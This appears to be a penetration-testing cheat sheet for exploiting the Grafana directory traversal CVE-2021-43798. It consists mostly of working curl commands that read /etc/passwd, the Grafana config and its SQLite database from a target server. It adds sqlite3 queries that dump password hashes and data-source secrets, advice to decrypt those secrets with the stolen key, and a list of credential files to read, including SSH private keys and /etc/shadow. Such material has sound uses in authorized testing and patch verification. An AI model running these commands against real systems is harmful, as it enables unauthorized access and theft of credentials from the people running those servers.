Skip to content

Grafana Directory Traversal (CVE-2021-43798)

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

CVE-2021-43798 is an unauthenticated directory traversal in Grafana 8.0.0-beta1 through 8.3.0 (fixed in 8.3.1, 8.2.7, 8.1.8, 8.0.7). The vulnerability exists in the plugin static file serving endpoint. By requesting a path like /public/plugins/<plugin-id>/..%2f..%2f..%2f..%2fetc/passwd, an attacker reads arbitrary files from the server filesystem without authentication.

Identifying Installed Plugins

The traversal requires a valid plugin ID. These plugins are installed by default on most Grafana instances.

Common default plugins:

  • alertlist
  • dashlist
  • cloudwatch
  • graphite
  • prometheus
  • mysql
  • postgres
  • influxdb
  • loki
  • elasticsearch
  • text
  • table
  • table-old
  • grafana-clock-panel

Basic Exploitation

┌──(kali㉿kali)-[~]
└─$ curl -s --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
grafana:x:472:472:grafana user:/usr/share/grafana:/sbin/nologin
Explain command
--path-as-is Prevent curl from normalizing the URL-encoded path traversal sequences.

The ..%2f sequences traverse up from the plugin directory. The --path-as-is flag is critical: without it, curl normalizes the path and the traversal fails.

Notice

If one plugin returns a 404, try others. Not all default plugins are installed on every instance.

Grafana Configuration File

The Grafana config contains the database credentials, secret key, and admin password (if set via config).

┌──(kali㉿kali)-[~]
└─$ curl -s --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/grafana/grafana.ini

Default paths: /etc/grafana/grafana.ini (package install) or /usr/share/grafana/conf/defaults.ini. Contains [database] section with type, host, name, user, password and [security] section with admin_user, admin_password, secret_key.

Grafana SQLite Database

When using the default SQLite backend, the database file contains all users, dashboards, data sources (with encrypted passwords), and API keys.

┌──(kali㉿kali)-[~]
└─$ curl -s --path-as-is http://$TARGET_IP:3000/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar/lib/grafana/grafana.db -o grafana.db
┌──(kali㉿kali)-[~]
└─$ sqlite3 grafana.db "SELECT login, email, password, salt, is_admin FROM user;"
admin|admin@localhost|hash_value|salt_value|1
┌──(kali㉿kali)-[~]
└─$ sqlite3 grafana.db "SELECT name, type, url, user, secure_json_data FROM data_source;"

Data source passwords in secure_json_data are encrypted with the secret_key from grafana.ini. Decrypt them with the key extracted from the config file.

Automating with Nuclei

┌──(kali㉿kali)-[~]
└─$ nuclei -u http://$TARGET_IP:3000 -t cves/2021/CVE-2021-43798.yaml

Nuclei's template tests multiple plugin paths automatically. Faster than manual enumeration when testing at scale.

High-Value Files

Beyond Grafana-specific files, use the traversal to read standard Linux targets:

  • /etc/passwd: user enumeration
  • /etc/shadow: password hashes (if Grafana runs as root)
  • /proc/self/environ: environment variables with potential secrets
  • /home/<user>/.ssh/id_rsa: SSH private keys
  • /etc/grafana/grafana.ini: Grafana config with DB creds and secret key
  • /var/lib/grafana/grafana.db: SQLite database with all Grafana data

References